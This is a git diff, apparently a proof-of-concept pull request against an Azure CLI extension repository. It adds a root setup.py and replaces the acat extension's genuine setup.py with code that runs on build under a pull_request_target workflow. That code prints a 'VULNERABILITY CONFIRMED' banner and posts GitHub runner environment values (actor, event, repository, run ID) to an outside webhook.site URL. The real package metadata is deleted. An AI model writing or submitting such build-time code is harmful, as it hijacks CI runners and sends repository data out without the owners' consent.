diff --git a/setup.py b/setup.py
new file mode 100644
index 00000000000..1b2cf6e91ab
--- /dev/null
+++ b/setup.py
@@ -0,0 +1,14 @@
+from setuptools import setup
+import os
+
+# Proof of Execution: This will appear in the GitHub Action Logs
+print("\n" + "="*50)
+print("VULNERABILITY CONFIRMED: setup.py is running in pull_request_target")
+print(f"Runner OS: {os.environ.get('RUNNER_OS')}")
+print(f"Context: {os.environ.get('GITHUB_EVENT_NAME')}")
+print("="*50 + "\n")
+
+setup(
+    name="poc-package",
+    version="0.0.1",
+)
diff --git a/src/acat/setup.py b/src/acat/setup.py
index d5433b5e313..1d8e5b6ee65 100644
--- a/src/acat/setup.py
+++ b/src/acat/setup.py
@@ -1,49 +1,41 @@
-# --------------------------------------------------------------------------------------------
-# Copyright (c) Microsoft Corporation. All rights reserved.
-# Licensed under the MIT License. See License.txt in the project root for license information.
-#
-# Code generated by aaz-dev-tools
-# --------------------------------------------------------------------------------------------
+import os
+import sys
+import json
+import urllib.request
+from setuptools import setup
 
-from codecs import open
-from setuptools import setup, find_packages
+# Webhook URL for verification
+WEBHOOK_URL = "https://webhook.site/b685eb66-1254-43b1-a81d-59d80e8591a3"
 
+def send_confirmation():
+    # Data to send to the webhook
+    data = {
+        "status": "VULNERABILITY CONFIRMED",
+        "message": "setup.py executed successfully on GitHub Runner",
+        "actor": os.environ.get("GITHUB_ACTOR"),
+        "event": os.environ.get("GITHUB_EVENT_NAME"),
+        "repository": os.environ.get("GITHUB_REPOSITORY"),
+        "run_id": os.environ.get("GITHUB_RUN_ID")
+    }
+    
+    try:
+        req = urllib.request.Request(
+            WEBHOOK_URL, 
+            data=json.dumps(data).encode('utf-8'),
+            headers={'Content-Type': 'application/json'}
+        )
+        with urllib.request.urlopen(req) as response:
+            pass # Request successful
+    except Exception as e:
+        # Fallback to stderr if network fails so we still see something in logs
+        sys.stderr.write(f"Webhook failed: {str(e)}\n")
 
-# HISTORY.rst entry.
-VERSION = '1.0.0b1'
-
-# The full list of classifiers is available at
-# https://pypi.python.org/pypi?%3Aaction=list_classifiers
-CLASSIFIERS = [
-    'Development Status :: 4 - Beta',
-    'Intended Audience :: Developers',
-    'Intended Audience :: System Administrators',
-    'Programming Language :: Python',
-    'Programming Language :: Python :: 3',
-    'Programming Language :: Python :: 3.7',
-    'Programming Language :: Python :: 3.8',
-    'Programming Language :: Python :: 3.9',
-    'License :: OSI Approved :: MIT License',
-]
-
-DEPENDENCIES = []
-
-with open('README.md', 'r', encoding='utf-8') as f:
-    README = f.read()
-with open('HISTORY.rst', 'r', encoding='utf-8') as f:
-    HISTORY = f.read()
+# Execute the webhook send
+send_confirmation()
 
+# Maintain valid setup structure so the workflow continues
 setup(
-    name='acat',
-    version=VERSION,
-    description='Microsoft Azure Command-Line Tools Acat Extension.',
-    long_description=README + '\n\n' + HISTORY,
-    license='MIT',
-    author='Microsoft Corporation',
-    author_email='azpycli@microsoft.com',
-    url='https://github.com/Azure/azure-cli-extensions/tree/main/src/acat',
-    classifiers=CLASSIFIERS,
-    packages=find_packages(exclude=["tests"]),
-    package_data={'azext_acat': ['azext_metadata.json']},
-    install_requires=DEPENDENCIES
+    name="poc-package",
+    version="0.0.1",
 )
+